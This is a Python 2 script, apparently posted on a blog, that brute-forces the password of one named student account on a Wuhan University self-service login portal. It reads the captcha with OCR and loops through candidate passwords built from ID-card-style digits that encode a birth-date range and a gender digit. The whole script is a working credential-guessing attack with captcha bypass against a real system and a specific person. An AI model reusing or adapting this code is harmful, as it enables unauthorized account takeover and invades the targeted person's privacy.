python login

# -*- coding: utf-8 -*-
from PIL import Image
import pytesseract
import urllib2
import json
import cookielib
import urllib
import re
import sys
from cStringIO import StringIO
def binarize_image(img):
    pixdata=img.load()
    for y in xrange(img.size[1]):
        for x in xrange(img.size[0]):
            if pixdata[x,y][0]<100 or pixdata[x,y][1]<100 or pixdata[x,y][2]<100:
                pixdata[x,y]=(0,0,0,255)
            else:
                pixdata[x,y]=(255,255,255,255)
    return img
def outputString():
    image=Image.open('e:\\image.jpg')
#    image=image.convert('RGBA')

#   image=binarize_image(image)
#    image=image.convert('L')
    return pytesseract.image_to_string(Image.open('e:\\image.jpg'),lang="eng")

reload(sys)
sys.setdefaultencoding("utf-8")

CaptchaUrl = "http://user-serv.whu.edu.cn:8080/selfservice/common/web/verifycode.jsp"
PostUrl = "http://user-serv.whu.edu.cn:8080/selfservice/module/scgroup/web/login_judge.jsf"
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
    'Accept-Encoding':'gzip, deflate',
    'Cache-Control':'max-age=0',
    'Content-Length':'54',
    'Host':'user-serv.whu.edu.cn:8080',
    'Origin':'http://user-serv.whu.edu.cn:8080',
    'Referer':'http://user-serv.whu.edu.cn:8080/selfservice/module/scgroup/web/login_self.jsf?',
    'Upgrade-Insecure-Requests':'1',
}

#data = urllib.urlencode(postData)
# 生成post数据 ?key1=value1&key2=value2的形式
# 构造request请求
#try:
#response = opener.open(request)
#result = response.read().decode('gb2312')
# 由于该网页是gb2312的编码,所以需要解码
#print result
#print len(result)
# 打印登录后的页面
#except urllib2.HTTPError, e:
 #   print e.code
#url = "http://user-serv.whu.edu.cn:8080/selfservice/module/webcontent/web/index_self.jsf?"
#response = opener.open(url).read().decode('gb2312')
#print response
username = '2017202110039'
l=range(2964 , 3199)
male=[1,3,5,7,9]
female=[0,2,4,6,8]
k=range(0,11)
for i in l:
    passwd=str(i)
    if(len(passwd)==3):
        passwd='0'+passwd
    for m in female:
        for n in k:
            if(n==10):
                passwd = passwd + str(m) + 'X'
            else:
                passwd=passwd+str(m)+str(n)
            print passwd
            file = StringIO(opener.open(CaptchaUrl).read())
            image= Image.open(file)
            s=pytesseract.image_to_string(image,lang="eng")
#    s=outputString(image)
            postData = {
                'act': 'add',
                'name': username,
                'password': passwd,
                'verify': s,
            }
            data = urllib.urlencode(postData)
            request = urllib2.Request(PostUrl, data, headers)
            response = opener.open(request)
            result = response.read().decode('gb2312')
            if len(result)==370:
                print passwd,passwd
                print result
                url = "http://user-serv.whu.edu.cn:8080/selfservice/module/webcontent/web/index_self.jsf?"
                response = opener.open(url).read().decode('gb2312')
                print response
                if len(response)>1000:
                    break
            passwd=passwd[0:4]

你可能感兴趣的:(python,兴趣,python)